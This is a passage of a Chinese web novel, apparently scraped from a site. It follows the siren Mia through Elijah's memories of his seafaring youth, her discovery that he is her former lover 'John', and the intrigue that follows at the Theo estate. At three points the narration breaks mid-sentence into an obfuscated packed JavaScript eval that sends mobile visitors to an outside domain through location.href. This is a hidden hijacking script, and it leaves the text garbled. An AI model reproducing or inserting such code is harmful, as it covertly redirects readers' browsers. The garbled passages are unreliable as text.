少年曾坐船往返于赫尔西岛与布里斯帝国首都绿恩岛之间,坐船不是件稀罕事,但作为水手亲身参与船行,还是头一遭。 他眼中的新奇毫不掩饰。 但船员生活远非想象中有趣,不是每个船员都像那个给他面包的男人一般好心。 少年面容姣好,举止优雅,一看就出身优渥,与靠出卖苦力维生的船员们格格不入,自然免不了招来嫉妒与不满,以及觊觎。 纵然那个男人早跟船员们说过,少年是个渡水者,可是少年年纪实在太小,船员们都不以为意,直到某个风雨交加的夜里,他狠狠教训了一群意图欺负他的船员后,情况才有所好转。 渡水者之名响彻群岛,然而对大部分人来说,渡水者是只能遥望的对象,平时连见到都很困难,遑论承受渡水者的怒火了。 那一晚之后,无人再敢欺负少年,但除了那个男人和船长之外,也无人敢再靠近他。 他们看向少年的眼神,充满了恐惧。 这样的景象,仿佛回到了赛欧庄园中。 米娅靠近了少年,无人之时,从他眼中看到了些许失落。 即使此刻,他已经逐渐掌握了笑容的诀窍,旁人依然害怕着他,因为他所拥有的力量。 舱门被推开,是那个男人走了进来。 米娅转头看他,此前,她已经知道了男人的名字,约翰·贝利。 又是约翰这个名字,而且也是个水手,虽说约翰是个很常见的名字,但米娅还是不可避免地感到了尴尬。 第一次听见男人的名字时,她盯着男人看了很久,确信这张过于普通的脸绝不会是自己喜欢的类型,才稍稍放下心来。 “你怎么躲在这,一起出去庆祝啊。” 商船刚做成了一笔大生意,船长许诺给所有人加薪,这个天大的好消息,对于在海上漂泊的人们来说,必然要一起载歌载舞庆祝。 “我就不去了。” 他过去,只会让欢乐的气氛消失不见。 但男人才不管这些,硬要来拽他,一边拽,还一边说:“这么小年纪,干嘛死气沉沉的,走,跟我一起去,他们要敢说什么,看我不揍死他们。” 男人的热情总是让少年抵挡不住,他认命地起身,两人刚走到门口,突然听到了警报声,然后砰地一声,船身开始剧烈地摇晃。 甲板上隐隐传来惊呼,“海盗,有海盗!” 变故来的猝不及防。 海盗盯上了刚挣了一笔大钱的商船,趁着众人欢歌宴饮之际,袭击了商船,男人和少年赶到甲板上时,宴会已变为炼狱。 男人愤怒地冲上前去,和海盗搏斗作一团。 到处都是叫喊声,到处都是喷洒的鲜血。 米娅早就知道,人类对付起同类来,凶狠残忍程度比之对待异族不遑多让,她不觉得惊讶,只是感到悲哀。 她绕着甲板飘了一圈。 海盗数量不多,但船员们没有准备,许多又是醉酒状态,显然不是海盗的对手,现场伤亡惨重。 男人的加入并没有对局面产生什么影响,他双拳难敌四手,很快就负了伤。 米娅落到少年身前。 少年神情冷漠地看着眼前的景象,迟迟没有动静,他是冷漠不在乎吗,并非如此,他垂在身侧的手掌紧紧攥拳,像极了赫尔西岛的那个夜晚。 可是他为什么没动,是怕再次被人当作怪物吗? 米娅始终沉默着,她只是个旁观者,少年听不见她的声音,即使能够听见,她也不知道该说什么。 她轻轻地抱住了他,哪怕她透明的身躯会穿过他。 也许是错觉,少年好似看了她一眼。 没来得及细想,少年突然动了,他向男人所在的位置走去,男人正在与一个魁梧的海盗搏斗,海盗将他打倒在地,举起弯刀向他的头颅砍去。 “别过来,快走!” 都这种时候了,男人竟然还想保护他,少年冷漠的表情瞬间融化。 他嘴角轻扬,轻轻地笑了。 接下来的一切顺理成章。 这些海盗再凶狠也只是普通人,怎么会是被称为有史以来最强大的渡水者的对手,哪怕这个渡水者只有十岁。 危机平息,伤亡却无法挽回。 船长带领活着的人收拾残局时,少年又回到了船舱中,不久之前,他才刚刚学会了如何控制这股力量,还不能像数年之后一样进行治疗,留在甲板上也没什么用。 活下来的人看他的眼神依然充满了恐惧,但在那恐惧背后,似乎又多了点儿别的东西。 没多久,有人敲门。 是曾经敌视过少年的船员,名叫约翰的男人站在船员背后,将他推了进来。 “谢……谢谢。”船员涨红了脸,低着头,他不敢看少年的眼睛,“还有,对不起。” “看着他说。”男人踢了一下他。 他扭扭捏捏地抬起头,望过去,望进那双美丽的眼睛,棕色的眼眸倒映着灯光,仿若闪烁的星河。 他愣住了。 少年皱了皱眉,比起恐惧,这样的目光更令他不爽。 “我知道了。”少年道,做出送客的手势。 船员如梦初醒,又流露出几分恐惧来,两次见识了少年的力量之后,他们再不会因为少年的年纪而轻视他。 船员走了,男人还在,面对少年审视的目光,他不好意思地露齿笑,“别看他们这个样子,其实他们心里很感激你的。” 少年站起来,“我一直都想问,你——为什么帮我?” 男人神情僵住,“这……帮一个小孩子,还需要理由吗?” “这种话,你认为我会信吗。”少年紧抿着唇,眼中的警惕毫不掩饰,似乎甲板上的笑容只是幻觉。 其他人见了,或许会认为他喜怒无常,但在与以利亚朝夕相处了如此之久后,米娅却能察觉他现在真正的想法。 他心里已经对这个男人有了几分信任,此时反倒是敞开心扉前的最后一道防线。 结果,取决于男人的回答。 男人似乎也感觉到了,不羁的神情逐渐变得凝重,良久的沉默之后,他深深地叹了一口气,“其实,是因为……” 在男人的讲述中,米娅终于知道,原来,男人也曾经有一个幸福美满的家庭,严肃坚毅的父亲,温柔善良的母亲,还有两个可爱的弟弟妹妹。 他是家中长子,总是被父母教导要保护好弟弟妹妹,然而当战争来临时,他却什么也保护不了。 父母战死,弟弟也死于残垣断壁之下,只剩下摔断了一条腿的妹妹。 “我也不想离开家乡,可是给妹妹治腿需要很多很多钱,我找到了多年没有联系的叔叔,他付了这笔钱,条件是要我跟他一起跑船。这也是我的想法,他的钱,我终有一日要还给他,跑船虽然辛苦,但比在陆地上,挣得多得多,只是有些对不起妹妹,一年只能陪她几天。你……我那天一看到你,就想起了我的弟弟,他要是还活着,比你也大不了几岁。” “……抱歉,我无意揭开你的伤疤。”少年低声说道,眼中有懊悔的神色。 “道什么歉啊。”男人又笑了起来,“这都过去多少年的事了,我早看开了,倒是你,也看开一些,以前的事就让它过去吧,我也讲不来多深奥的话,我每次不开心的时候,就去看看海,看着看着,便觉得天地这么大,没什么过不去的。” 少年抿唇轻笑,“是。” 这天之后,少年终于彻底融入进了船上的生活,除了万不得已的时刻,他不再动用自己的力量,就像一个普通人一样生活。 他和船员们肆无忌惮地说说笑笑,但也会巧妙回避自己不喜欢的话题,他登上了无数座截然不同的岛屿,感受到了世界的广袤与多样。 他的身形渐渐拉长,没几年就超过了男人的身高,他的皮肤依然白皙,海面上毒辣的阳光没有在他脸上留下半点儿痕迹。 漫长的时间在米娅面前被压缩成了一幅又一幅画,记录着少年的成长。 第一幅画,少年和船员们临时停靠在无人的小岛,茂密的丛林深处,钻出来一只吃人的怪物,他们齐心协力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100622|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将怪物打倒。 第二幅画,热闹的街市里,纯真的少女将一束花塞到少年怀中,红着脸跑了,船员们看到这一幕,纷纷过来调侃少年。 第三幅画…… 不知看了多少幅画,都是少年乘船冒险的情景,米娅渐感倦怠之时,忽然定住了目光。 那是一艘比之前的商船要大上许多的船只,少年身穿水手的衣服,靠在甲板的栏杆上,此时的他早已褪去了青涩与稚嫩,几乎与米娅认识的以利亚一样,唯有那头黑发,一点儿也没有变白的迹象。 那是漆黑无光的夜,不远处传来电闪雷鸣的声响。 几个影子在黑暗中悄悄靠近了少年。 他们……是渡水者。 米娅一下子分辨了出来。 少年似乎毫无察觉,望着远处的黑暗沉思。 “快躲开!”米娅大喊着伸出手,想要拉开少年。 她的手刚刚触碰到少年的手臂,少年忽然抬起头,看向她,他的眸中分明什么都没有,他却盯着米娅的脸,他低语道:“是谁在窥探?” 然而正如米娅的手穿过了他的手臂,米娅的声音也传不进他的耳朵。 他的疑问注定得不到回答,而背后的危险已然近在咫尺。 雷鸣声越来越近,暴风雨忽然降临,滔天巨浪拍打着船身,船身剧烈地摇晃起来,将暗中的人影抛上天空。 黑暗中,米娅看到他们惊恐的眼神。 海洋是渡水者最厌恶的地方,仿佛受到诅咒般,渡水者的能力会在海面上大打折扣。 “你也是他派来的吗?” 冰冷的声音在耳畔响起,米娅猛地回头,只见少年漂浮在半空中,衣袍猎猎,暴风雨完全奈何不得他。 他看着她的位置,指尖凝起金色的火焰。 不对! 火焰像利箭一样朝她射了过来,米娅闪避不及,火焰攀上了她的衣角,瞬间将她包围。 他慢慢朝她走了过来,“让我看看,你到底是个什么东西。” 怎么回事? 这不是回忆吗? 为什么那火焰能触碰到她? 米娅不知所措地后退,他步步紧逼,火焰化作锁链,将米娅钉在原地。 “抓住我!”以利亚已近在咫尺,就在这时,米娅耳边又响起了另一道声音,稚嫩如孩童。 是那支羽毛笔! 感受到手边羽毛的触感,她一把握住,眼前一黑,再睁眼时,竟到了天穹之上。 她终于又成了旁观者,看着火焰失去了目标,渐渐熄灭,以利亚疑惑了一瞬,又将注意力放回了船上。 “怎么回事?”米娅问那支羽毛笔。 羽毛笔不满地扭动着笔杆,“一句两句说不清楚,不想被他发现的话,就抓紧我别松手,这场回忆快结束了,到了最精彩的时候了,你别看漏了。” 米娅将信将疑,向下方看去。 忽然,她愣住了。 难怪她觉得这电闪雷鸣的声音有些耳熟,这片海域,分明就是无尽海外围。 又是一艘误入无尽海的倒霉船只? 接下来发生的事情否定了她的猜想。 船上的人都跑到了甲板上,在这即将船毁人亡之际,他们竟然不想着将船只驶离这片危险的区域,反而对付起了半空中的以利亚。 米娅皱眉,竟然有这么多渡水者。 结果没有悬念,再多的渡水者,也不是以利亚的对手,而船只也终于在风暴的持续肆虐下崩解。 人也好,船也好,都沉入了海底,只有些许残骸,还在海面上飘荡。 米娅看着这一幕,瞳孔微缩,不可自抑地向后退去,她对着羽毛笔说:“带我出去。” 她不愿再窥探下去,内心有个声音告诉她,前方是深渊,就此止步,还有一线生机。 羽毛笔断然拒绝:“不行!” 米娅想甩开它,它却像粘在了她手上,根本甩不掉。 突然,天亮了。 羽翼划过天际的声音从风暴中心传来,一个身影越来越近,越来越近,近到米娅可以看见她每一根发丝之时,她又听见了以利亚的声音。 “竟然真的能看见海妖。” 56. 梦醒(一) 米娅看着对视的人类和海妖少女,周围的景象在不知不觉中变得模糊,像是冬天的玻璃窗,被寒雾笼罩。 一个个人影在雾气中融化消解,只留下了大概的轮廓。 恍惚间,他们的身躯亦完全被雾气吞没。 她得到了一个不曾追寻的答案。 雾气逐渐侵蚀到了她的身上,像触手缠了上来。 羽毛笔又消失了。 大概是害怕了吧,她想。 阴影笼罩了她,一只戴着手套的手搭上她的小臂。 “找到你了。” 以利亚的声音从阴影中传来,手臂上的手轻轻用力,将她拉进了雾气之中。 海浪、沉船、人类,一切都在她身后迅速消散,回忆的镜子在破碎,裂痕自天穹出现,延伸到大地的每一处角落。 一声脆响之后,目之所及的一切都消失了。 米娅静静地跟在那身影之后,前所未有的沉默。 不知过了多久,眼前出现了另一面镜子。 是出去的通道。 她终于停了下来,试着挣脱手臂上的那只手,没有成功。 “你不想说点儿什么吗?”她问,平静的神色下暗流涌动。 以利亚回身看她,没说话。 沉默也是一种回答。 米娅笑了,笑得讽刺,“原来你早就知道了,只有我被蒙在鼓里,我该叫你什么,约翰,还是小主人?” 米娅扬起下巴,等待着他的下一步反应。 然而以利亚只是盯着她,好像要将她的脸都盯出个洞来,她只能瞧见他眼中的懊悔,那么深刻,仿佛要将她淹没。 他没有否认。 期待落了空,米娅却发现自己没预想中失落。 也许在这些日子里,她早就做好了心理准备,不就是约翰和以利亚是同一个人吗,那不是正好,许多令她疑惑的问题瞬间迎刃而解。 为什么人类会对赛欧庄园如此熟悉,为什么少年是黑发,为什么他一去不复返。 她看着他的银发,看着他眼眸中的自己,深蓝色闪耀的礼服长裙勾勒出迷人的身段,竟然是她在舞会上的那套装扮。 米娅愣了一下,“我为什么穿着这身衣服?” “这是我的回忆。”以利亚终于开口了,一如往昔冰冷无情的声音,语气平静到自己在和一个陌生人说话,“我觉得那个时候的你更顺眼一些。” 顺眼??? 米娅目瞪口呆,险些被他气笑了,“什么顺眼,是因为那时候我很听话吧?” 能不听话吗,她一直等待的机会终于到了,可不得在动手之前谨言慎行放松他的警惕。 要是早知道连那样的方法也杀不了他,她才不会表现得那么听话。 “如果你要这么认为的话,我也没办法。”以利亚无奈地叹息了一声。 米娅不明白,他怎么还有脸无奈上了。 她冲上前去,用空闲的手拽住了以利亚的衣领,曾经在另一个回忆中,她好几次这么做,已经相当熟悉了。 米娅美目瞪着他,“你给我讲清楚,到底是怎么一回事?” 十一年前的记忆,当下的情况,以及更久远的过去纠缠在一起,像一团乱麻,紧紧地缠绕着他。 是啊,到底是怎么一回事呢,他竟不知该从何讲起。 “你想知道什么?” 米娅一怔,疑惑太多,一桩桩一件件,在人类的真实身份浮出水面之后,一些问题得到解决,又有一些新的问题冒了出来。 哪一个,是她最想知道的? 最先浮现在她的脑海中的是—— 米娅垂眸,拽紧衣领的手慢慢放松,改为攥住他胸前的衣服,“刚才的回忆里,为什么那艘船会出现在无尽海边缘,你为什么自称约翰?真正的约翰去哪儿了?” 在片段式的回忆中,她看着少年逐渐长大,却错过了许多关键的时刻。 她想,她大概被回忆影响得太深,到了这一刻,最想知道的,竟然是与自己无关的,他的过去。 “米娅……”看见她的神色,以利亚心念一动,他岂会不明白她的心思。 他伸出手,似乎是想触碰她的脸颊,抬到一半,又放了下去。 他握住她的手,慢慢将那只手从自己的领口拿开,“你也看到了,和约翰他们一起时,我没有隐姓埋名,一开始,也许是因为皇室自己也自顾不暇了,也许是他们认为我自甘堕落不值得重视,总之,我没有受到任何打扰。然而,五年后,帝国皇室的杀手还是找了过来,他们杀不了我,便抓了约翰他们相威胁——” 以利亚停顿了一下,米娅不由得紧张起来,“他们……没事吧?” 以利亚轻笑:“你不应该先关心我吗?” “你又死不了。”米娅低声道。 “是啊,我死不了,但他们并不知道,所以,我的计划很成功,我用假死骗过了杀手,也骗过了约翰他们。” “为什么?”米娅不禁问。 “他们只是普通人,我继续跟着他们,势必再次给他们带来危险。”以利亚声音低沉,米娅从中听出了几分孤寂的意味,“那之后的五年,我独自一人以不同的身份前往了许多地方,直到遇见你之前的那个月。” “皇室发现我还活着,这一次,他们费尽心思在我眼前演了一出大戏,你最后见到的那艘船,船上的人都是为了杀我而来的演员。在海上,渡水者的力量会受到极大的抑制,他们原本的计划便是在海上杀死我,借着无尽海风暴的遮掩,谁也不会知道,然而——” 米娅接过他的话,“然而他们没想到,你的力量在海上不受影响,他们也低估了风暴的可怕。” 米娅记得十一年前她看到的场景,鲜血和破碎的船体一起飘荡在海面上,现场一片惨烈,很难分得清,有多少是因为风暴,又有多少是因为眼前的人。 以利亚低声应了一声,“至于我为什么要自称约翰,只是方便而已,这是一个绝对安全的名字。” 十一年前的背叛,十一年间的漂泊,他早已不是当初的少年,不会傻到继续用自己的真名行走于世。 “为什么一直不告诉我你的真名?”米娅又问。 如果说,一开始用假名是面对海妖的警惕,那么在他们的关系已然亲密无间之时,他还是什么都没说,就令米娅不能接受了。 以利亚反问她:“你想得到什么答案?” 我想得到什么答案。 米娅脸色微沉。 有人告诉她,所有的问题,在她问出来之际,就已经预设了一个想得到的答案,也许是很明确的答案,也许是一个模糊的方向。 所以,别人的回答,是一种看清自己的心的最佳方式。 无数次事例证明,的确是这样。 那么,这一次,她想得到什么? 米娅沉默了许久。 有一些话,在她舌尖转了一圈。 她抬眸,眼前的男人眼神沉静幽邃,不似从前冷漠,却叫她产生了一种深深的无力感,好像没有任何人可以撼动他。 她突然明白了。 她遮住他的眼睛,连说辞都想好了,但男人不知为何没有阻止。 他自恃自己没有能力危害到他,才会如何放任自己的行动吧,米娅自嘲地想。 不管了。 她挣脱男人的手,另一只手攀附上他的肩膀,踮起脚尖吻了上去。 一个很轻的吻,一触即离。 他的唇是热的呢。 米娅笑了一下,放开了他。 迎接她的,是男人惊讶的眼神,男人抚上自己的唇,那抹属于她的温度正从他的指尖消失。 米娅前所未有的平静,过去种种在眼前一一浮现,最后是他的那个问题:“你想得到什么答案?” “我想听到……”米娅的声音很低,“我想听到你是有苦衷的,你是不得已的。” 她终于敢承认了。 她从奥修斯岛来到赫尔西岛,是为了杀死眼前的男人,她的计划顺利进行,但她最终还是失败了,因为种种迹象表明,男人已经几乎不算人了。 挫败感,有一些,但不多,至少没有她表现出来的多。 来之前,她设想过失败的后果,现在的境况,已经超过预期的好了。 唯有一点,她始终放不下,在她的心头搅动。 那就是她以情人的身份接近他,却真的爱上了他。 绝妙的讽刺。 他们一起掉入了回忆之中,他说他从没喜欢过她。 自己到底信没信,她也说不清楚。 男人的种种表现与他的说辞并不相符,可是眼神、动作、心情都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104545|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以伪装,她应该最熟悉了,不是吗? 他似乎并不在意她,可是又时不时表现出占有欲。 她总是看不懂,到最后也自暴自弃了。 只是维持身体上的关系罢了,他究竟是怎么想的,并不重要,她这么催眠自己。 确实起了作用,她更多的关注点放在了回忆中的故事,那个她已经遗忘了细节的年少时的爱情故事。 她以为自己做到了。 直到男人宣布,还有一个月他们就能出去的时候,她看似迫不及待,实则感觉到了自己内心的抗拒。 在这方回忆的天地里,她可以不去想外界的形势,不去想她的计划,不去想他们敌对的关系。 一旦出去了,以上种种,都会是他们之间无法逾越的鸿沟。 她想出去,海妖们还在等着她。 她不敢出去,她不知道怎么去面对她们,难道要告诉她们,我不仅失败了,还爱上了仇人? 最后这一个月的时间,她几乎都是在这样的状态中度过,所以她将身体的控制权交给了过去的自己,她无法自如地面对他。 “你知道吗,我们在奥修斯岛的最后一天,我虽然嘴上说想一个人待着,其实是希望你能跟我一起。”米娅笑了一下,笑容却暗含悲伤,她抓住以利亚的胳膊,额头靠在他的肩膀上,“那是最后一天了,连这点儿回忆,也不肯跟我留下吗?” 以利亚没说话。 米娅没太在意,这是属于她的剖白时刻,与任何人都没有关系。 有些话,她憋了太久,一定要说出来。 如果就这么出去了,是不是就好了呢—— 无论结果如何,他们会不会不死不休,会不会其中一方亲手杀死另一方。 至少,终于可以尘埃落地。 可是那支羽毛笔不知道出于什么目的,竟带着她见识了一遍他的记忆。 她爱他啊,怎么能在回忆中看到他惨痛的经历无动于衷呢。 无疑是又经历了一遍左右拉扯的痛苦。 无疑是在本就不平衡的天秤上又加上了一枚她下不去手的砝码。 如果没有最后一幕的话。 发现自己十一年前的恋人和现在的情人是同一个人,她一点儿没觉得庆幸。 她曾经毫无保留地交付爱恋与信任向十一年前的“约翰”,最终却换来了他的不知所踪,她对以利亚爱恨交织,他们注定无法同行。 如果是两个人,她还可以安慰自己,我只是看男人的眼光不太行,我只是运气不好。 可是他们偏偏是一个人,她最信任的人,带给了她最深切的伤痛。 “为什么没有回来呢,你明明答应过,会永远陪着我的。” 男人的喉结动了一下,米娅感觉到他压抑的情绪,一如不见底的深渊。 “为什么要对付海妖呢,我们做错了什么吗?” 她卑微地祈问。 “米娅,别说了。” “为什么不要我了呢……” 他们的声音几乎在同一时刻响起,又在同一时刻沉寂下去,一个卑微,一个强硬,仿佛他们关系的写照。 米娅退开一步,手捂在胸口,茫然地抬头看他。 他甚至不愿意听她讲完。 胃里像有只蝴蝶在飞,米娅几欲作呕。 以利亚忽然上前来抱住她,米娅剧烈地挣扎,他的触碰让她更加难受。 “我们出去再说。”以利亚低声劝她。 米娅在他冷淡的声音中冷静下来。 空间逐渐扭曲成不规则的线条,他们穿过水幕一般的镜面,回到了赫特高塔之中。 米娅深深地呼吸,她就像刚从玻璃笼罩的房间中走出来一般,视野骤然明朗,就连空气也更加新鲜。 镜子在她身后,视野所及之处,是那扇半开的窗棂和半隐于云后的圆月。 以利亚轻轻一挥袖,镜面如水荡开,又恢复平静。 回忆的气息彻底消散。 以利亚始终没有放开她,他们保持着相拥的姿势。 窗外,圆月挣脱云雾的束缚,月光明亮温柔,照在他们身上。 米娅抬起头,看不清他脸上的表情。 出了回忆,他的怀抱又趋于冰冷。 米娅想,如果这是一场梦,那也到醒来的时刻了。 57. 梦醒(二) 太阳升至树稍,临近夏日,金色阳光唤醒了沉睡的岛屿。 些许光线穿过墙壁上的小窗照进了高塔之中,驱散部分黑暗,高大魁梧的身影站在门外,黑色盔甲覆盖全身。 起初他只是推开了一楼的大门,在一楼的黑暗中等待了一会儿。 几年前,以利亚还未搬进赫特高塔时,这里是整个赛欧庄园中最无人问津的地方,杂草丛生,蛇蚁遍地,塔壁上残存着火焰燃烧后的痕迹。 人们只知道多年前的一场大火之后,这里彻底荒芜了下来,却没人说得清大火之前赫特高塔是用来做什么的。 然后以利亚来到了这里,赫特高塔焕然一新,但无论再怎么清扫,无论点多少盏灯,潜藏在厚重石墙后的黑暗始终存在。 人们依旧不愿意靠近它,不过以利亚并不在意,此前他一个人生活在这里,女仆只在固定的时间进行打扫,整座高塔中没有守卫。 也不需要守卫。 他回到赫尔西岛的那一年,无数刺客试图接近他,但他们一个都没成功,很多刺客就此完全失去了消息,还有一些侥幸活着,却痴痴傻傻。 从那时起,人们就知道,这个人不能轻易与之为敌,以利亚的身边清净了许多。 有人调侃说,如果真的再有刺客杀手,真不知道是守卫保护他们的领主大人,还是他们的领主大人保护守卫了。 也是从那时起,赫特高塔周围再没有守卫,彻底成了一座孤塔,一座全在以利亚掌控之中的孤塔。 黑骑士休伊是赛欧庄园中少数几个走进赫特高塔中却不会感到害怕的人,也是除以利亚之外来往于古堡和庄园最频繁的人。 通常从他踏入赫特高塔的第一步起,以利亚就会知晓他的到来,然后他的耳边会传来领主年轻的声音,或者让他上楼去,或者让他在一楼等候。 今天却出现了意外情况。 没有声音,赫特高塔安静得仿佛一个人也没有。 但是黑骑士知道领主大人在里面,和一个女人在一起,他们从举办舞会的大厅离开之后,回到了高塔,没再出来过。 他等了很久,周围始终安静,于是他沿着楼梯走了上去,黑色的战靴踩在楼梯上,每一下都发出了沉重的声响。 楼上如果有人,一定会注意到这个声音。 他走到四楼,看到四楼的房间中一片狼籍。 越往上,他的不安越重,三步并作两步来到五楼的门口,敲响了房门。 这一次,他刻意弄出的声响得到了回应,里面的人应了一声,是他最熟悉的声音,不安的心稍稍落下。 黑骑士在门口等待了片刻,房门从里面打开了一条缝,年轻领主出现在门后,脸色苍白,眉头紧锁,他似乎遇到了什么难事。 黑骑士下意识往房间里面看去。 半开的房门挡住了绝大部分视野,他只瞧见了墙壁上精美的油画和一扇窗户。 “休伊,怎么了?”以利亚低声问。 黑骑士收回视线,想到此行的目的,沉声道:“昨晚宴会散后,我看到乌斯带着莱森离开了庄园,悄悄让人跟上去,但是他们跟丢了。” 以利亚从房间里走出来,“他们回来了吗?” 借着这短暂的时机,黑骑士休伊向卧房内投去一瞥,他看到了坐在床边的那个婀娜身影,长长的黑发垂在她的胸前,有一点儿凌乱的感觉。 她低着头,似乎在打量着自己,在房门关上前一瞬,她察觉到了黑骑士的视线,抬头看了过来,蔚蓝色的眼眸中倒映出他漆黑的身影。 有哪里不对劲。 快速的一瞥紧接着男人的询问,黑骑士察觉到了一丝不协调,但他没有时间思考,思绪迅速回到了正事上。 “刚回来,乌斯说,他看莱森心情不好,就带他去海边散心。我看到莱森的鞋上沾了很多沙粒,已经去附近的海滩打听过了,住在海边的渔民说,他们昨晚的确一直待在海边,不过有海浪的遮掩,渔民没有听见他们在海边说了什么,只是感觉中途莱森的情绪曾经非常激动过。” 以利亚皱着眉问:“你看到莱森的时候,他是什么样子?” 黑色盔甲下的人也皱起了眉,言语间流露出担忧,“他一副失魂落魄的样子,嘴里念叨着诸如命运之类的词语,看到我过去,他立刻装作无事发生,但是他的异常骗不了我。” “休伊,你觉得乌斯告诉了他什么?”以利亚微闭双眼,离开了米娅,他的血液正在凝固,身体的温度也在下降。 这是曾经伴随了他许久的感觉,但在回忆中的这几个月,它们就像消失了一样,他应该习惯这种感觉,现在却已经开始怀念跳动的心脏和温暖的身体。 “我不敢断言。”黑骑士语气为难,这是秘密太多的烦恼。 “用你的直觉,在这件事上,它是最可靠的。” 以利亚的声音仿佛有什么魔力一般,引导着他冷静下来,他的直觉,只有他懂,这句话的意思,于是他回想起了他见到莱森的那一刻。 无神的眼睛,抖动的嘴唇,还有——时不时向高塔投去的目光。 不是嫉妒,不是愤恨,更不是悲伤。 他在慌张,是得知了惊天秘密,而且秘密还与自己有关的表现。 黑骑士休伊仿佛从他的脸上看到了另一个人,一张极其相似却更加青涩的面容。 “我知道了。”他的声音更沉,四根手指蜷曲,只留下食指指向黑黢黢的楼梯之下,“是那件事。” 然后,他看着以利亚,藏在盔甲中的嘴无声地说出了一个称呼。 他没有将话挑明,因为他还没有忘记,一门之隔的地方,有一个女人在那里,那个女人身上疑点重重,就算领主大人愿意相信她,他也不能放松警惕。 尤其是被那个女人那双深蓝色的眼睛看着的时候,他能明显感觉到压力。 等等! 他知道不协调的感觉从何而来了,深蓝色,那个女人的眼睛一直是深蓝色的,可是刚刚他看到的,是一双蔚蓝色的眼睛。 不是因为光线,他可以确定。 “……领主大人!”黑骑士激动得要跳起来了,激动到他差点儿说错话,还好他立刻意识到,及时改了口,“她,她——” 他指着门的方向,指尖都在兴奋地颤抖,他以为自己发现了什么不得了的事情,可是当他看向以利亚时,看到了年轻领主脸上了然又带点儿无奈的神情。 “我知道。”以利亚头疼似的揉了揉太阳穴,“你先回去吧,莱森的事去找卡伦商量,我要先处理这里的麻烦事。” “可是——是。”黑骑士还想强调,那个女人有问题,以利亚已经摆了摆手让他离开,他只好照做。 黑骑士走后,以利亚打开房门,看到了站在门后的女人,她慌忙直起身子,掩饰自己刚刚趴在门后偷听的姿态,看到男人的视线落到自己身上,扯了扯嘴角,“莱森怎么了?” “无事。”以利亚平静地答道。 他走进了房间,正要关门,忽然又回过头,看向了楼梯的方向。 米娅在他身旁讽笑道:“又有人来找你了。” 赫特高塔门口,黑骑士走出大门,一眼看到了小路上那个越走越近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眉间染上焦急,红衣神官瞥了他一眼,看不见他脸上的表情,黑骑士永远都是这样,将自己的一切都掩藏在这副黑色的盔甲中,对任何事情都是同样的严肃冷淡。 这般激烈的语气实属少见,因为牵扯到了以利亚吗? 绿恩岛那边曾通过各种方式试图收买他和卡伦,但两人的反应截然相反。 卡伦来者不拒,给他什么好处,他就收着,但就是不起任何作用,要他提供情报,他总是找理由搪塞。 要不是后来某一次无意中发现,所有的收买行为,卡伦都会禀报给以利亚,那边还真不知道要信多久他那些推脱的鬼话。 而黑骑士休伊,则是对这些收买完全置之不理,甚至他的态度让人有理由相信,如果绿恩岛那边再派人来,他不会善罢甘休。 他们对以利亚的忠心实在令人钦佩。 “我也没想到,莱森他竟然如此冲动。” 乌斯叹息了一声,他的担忧和焦急做不得假,黑骑士盯着他看了一会儿,离开了。 乌斯抬起头,看向高塔上的窗户,他仿佛看到了莱森的身影在其中闪过,昨晚他告诉莱森那些秘密的时候,他绝对没有想过,莱森竟然有胆量来找以利亚对峙。 如果在这个时候惹怒了以利亚,不是他想看到的结果,可是阻止他,好像已经变成了一种奢望。 乌斯还没有傻到这时冲进高塔去阻止莱森,以利亚可以轻易杀了他,以前没这么做,只是他还没有彻底惹怒他。 以利亚也不是其他岛屿的领主,能受皇室和教会的钳制。 自己死了,他们只会另外再派一个人过来,甚至不会对自己的死发表任何看法。 他只能赌,赌以利亚心中还有亲情存在。 或者赌以利亚不会在那个女人面前对莱森动手。 一道残影从门口飞了出来,落到他的面前。 残影从地上爬起来,拍了拍身上的泥土,虽然飞了这么远,但他的落地相当轻柔,显然罪魁祸首手下留情了。 看到这道飞出来的人影,乌斯知道自己赌对了。 58. 梦醒(三) 几个小时前,深夜。 最后一个客人离去,寂静重新笼罩了赛欧庄园。 乌斯看向旁边的身影,眼中浮现深深的无奈。 以利亚和米娅的离开撕去了舞会上最后一点儿拘谨,客人们陷入了最后的狂欢,也就在那时,莱森出现在他面前。 宴会开始前,乌斯听说他在酒馆喝得烂醉回来,一回到自己的房间,倒头就睡,卡伦去叫了几次都无功而返。 于是这场赫尔西岛上一年之中最重要的舞会,缺少了他这个原定的主持者,引得客人们私下里议论纷纷。 隔着人群,乌斯和卡伦同时看到了刚刚走进来的人,他眉头紧锁,目光不停地在人群中扫过,似乎在寻找什么人。 他的眼神迷蒙,隔着一层水汽,看起来刚刚睡醒,但他还残存着理智,换了一身还算得体的礼服,头发也梳得整整齐齐。 舞会上有客人看见了他,向他走了过去。 莱森勉强维持着礼貌的微笑寒暄了两句,瞥见乌斯的位置,在人群中穿梭,来到乌斯面前。 乌斯闻到他满身的酒气。 一晚上的休息没能驱散他身上酒气,劣质酒精味直冲鼻腔。 乌斯不动声色地捂了捂鼻子,退开一步,拉开他们之间的距离,“莱森大人,你找我有事么?” 